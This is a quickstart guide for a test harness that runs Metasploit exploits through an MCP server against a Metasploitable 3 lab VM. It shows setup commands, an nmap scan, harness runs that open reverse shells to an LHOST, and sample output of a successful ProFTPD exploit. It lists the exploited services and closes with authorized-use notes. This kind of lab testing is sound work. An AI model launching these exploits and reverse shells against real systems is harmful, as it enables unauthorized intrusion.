This guide will get you testing MetasploitMCP against Metasploitable 3 in minutes.
# Check Python version (need 3.10+)
python3 --version
# Check Metasploit is installed
msfconsole --version
# Check Poetry is installed
poetry --version# Start the Metasploit RPC daemon
msfrpcd -P mysecretpassword -S -a 127.0.0.1 -p 55553
# You should see:
# [*] MSGRPC Service: 127.0.0.1:55553
# [*] MSGRPC Username: msf
# [*] MSGRPC Password: mysecretpasswordKeep this terminal open!
cd /path/to/MetasploitMCP
# Set Metasploit RPC credentials
export MSF_PASSWORD=mysecretpassword
export MSF_SERVER=127.0.0.1
export MSF_PORT=55553
# Install dependencies if not already done
poetry install# Start the MCP server
poetry run metasploit-mcp --transport http --host 127.0.0.1 --port 8085
# You should see:
# INFO - Successfully connected to Metasploit RPC at 127.0.0.1:55553
# INFO - Starting FastMCP HTTP server on http://127.0.0.1:8085
# INFO - MCP HTTP Endpoint: /mcpKeep this terminal open too!
Ensure your Metasploitable 3 VM is running:
# Test connectivity
ping -c 3 10.0.2.15
# Verify services are up
nmap -sV -p 21,22,80,445,3306,3500,6697,8181 10.0.2.15Expected output should show open ports like:
- 21/tcp (FTP - ProFTPD)
- 80/tcp (HTTP - Apache)
- 445/tcp (SMB - Samba)
- 3500/tcp (HTTP - Ruby)
- 6697/tcp (IRC - UnrealIRCd)
- etc.
cd /path/to/MetasploitMCP
# List available tests
poetry run python tests/harness.py --list-tests
# Run all tests
poetry run python tests/harness.py \
--target 10.0.2.15 \
--lhost 10.0.2.4 \
--lport 4444
# Or run a single test to verify setup
poetry run python tests/harness.py \
--target 10.0.2.15 \
--lhost 10.0.2.4 \
--test "ProFTPD"================================================================================
Testing: ProFTPD ModCopy Exec
Description: ProFTPD 1.3.5 Mod_Copy Command Execution
Module: exploit/unix/ftp/proftpd_modcopy_exec
Payload: cmd/unix/reverse_perl
================================================================================
Executing exploit...
Exploit execution result: {'success': True, 'data': 'Session 1 opened'}
Detected session ID: 1
✓ Test PASSED - Session established (ID: 1)
################################################################################
TEST SUMMARY
################################################################################
Total Tests: 1
Passed: 1 ✓
Failed: 0 ✗
Success Rate: 100.0%
Total Duration: 8.45s
- Target IP (
--target): Metasploitable 3 VM IP (e.g., 10.0.2.15) - LHOST (
--lhost): Your attacking machine IP that the target can reach back to - LPORT (
--lport): Port for reverse connections (default: 4444)
# On Linux/Mac
ifconfig | grep inet
# Find the interface that can reach Metasploitable 3
# Common scenarios:
# VirtualBox Host-Only: 192.168.56.x
# VirtualBox NAT Network: 10.0.2.x
# VMware: 192.168.x.x# From your machine to target
ping 10.0.2.15
# From Metasploitable 3 to your LHOST
# SSH into Metasploitable 3 first
ssh vagrant@10.0.2.15 # password: vagrant
ping 10.0.2.4 # Should work!Issue: "Connection refused to http://127.0.0.1:8085"
Solution: MCP server is not running
# In Terminal 2, start the MCP server:
poetry run metasploit-mcp --transport http --host 127.0.0.1 --port 8085Solution: Metasploit RPC is not running or wrong password
# In Terminal 1:
msfrpcd -P mysecretpassword -S -a 127.0.0.1 -p 55553
# In Terminal 2, ensure environment is set:
export MSF_PASSWORD=mysecretpasswordPossible causes:
- LHOST is wrong (target can't reach back)
- Firewall is blocking
- Service isn't vulnerable
Solution:
# Verify LHOST is reachable from target
# SSH to Metasploitable 3:
ssh vagrant@10.0.2.15
# From inside the VM, test connectivity:
ping YOUR_LHOST
nc -zv YOUR_LHOST 4444 # Should show connectionSolution:
# Verify VM is running
ping 10.0.2.15
# Verify services are up
nmap -p 21,80,6697 10.0.2.15
# If services are down, restart Metasploitable 3 VM# List all available tests
poetry run python tests/harness.py --list-tests
# Run all tests
poetry run python tests/harness.py \
--target 10.0.2.15 \
--lhost 10.0.2.4
# Run specific test
poetry run python tests/harness.py \
--target 10.0.2.15 \
--lhost 10.0.2.4 \
--test "ProFTPD"
# Verbose mode for debugging
poetry run python tests/harness.py \
--target 10.0.2.15 \
--lhost 10.0.2.4 \
--verbose
# Stop on first failure
poetry run python tests/harness.py \
--target 10.0.2.15 \
--lhost 10.0.2.4 \
--stop-on-failureThe harness tests these Metasploitable 3 vulnerabilities:
- ✅ ProFTPD - FTP service command injection
- ✅ Shellshock - Bash environment variable exploit
- ✅ Drupal - SQL injection (Drupageddon)
- ✅ phpMyAdmin - Authenticated RCE
- ✅ Ruby on Rails - ERB template injection
- ✅ UnrealIRCd - IRC backdoor
Each test:
- Executes the exploit through MCP
- Detects if a session is created
- Verifies the session by running
idcommand - Reports success/failure with timing
- Review the full documentation: METASPLOITABLE3_TESTING.md
- Add custom tests: See "Extending the Harness" section
- Run unit tests:
poetry run pytest tests/test_metasploitable3_harness.py -v
- Integrate into CI/CD: See CI/CD Integration section
- ✅ Always verify network connectivity first
- ✅ Use verbose mode (
--verbose) when debugging - ✅ Start with a single test to verify setup
- ✅ Check Metasploit logs if exploits fail:
~/.msf4/logs/ - ✅ Clean up sessions after testing (they persist!)
If you encounter issues:
- Check the troubleshooting section above
- Enable verbose logging:
--verbose - Review the full docs: METASPLOITABLE3_TESTING.md
- Check MCP server logs for errors
- Verify Metasploit RPC is working:
msfrpc -U msf -P mysecretpassword -a 127.0.0.1 -p 55553
- ✅ Only use in authorized lab environments
- ✅ Never run against production systems
- ✅ Ensure proper isolation of testing networks
- ✅ You are responsible for ensuring authorization
Happy Testing! 🎯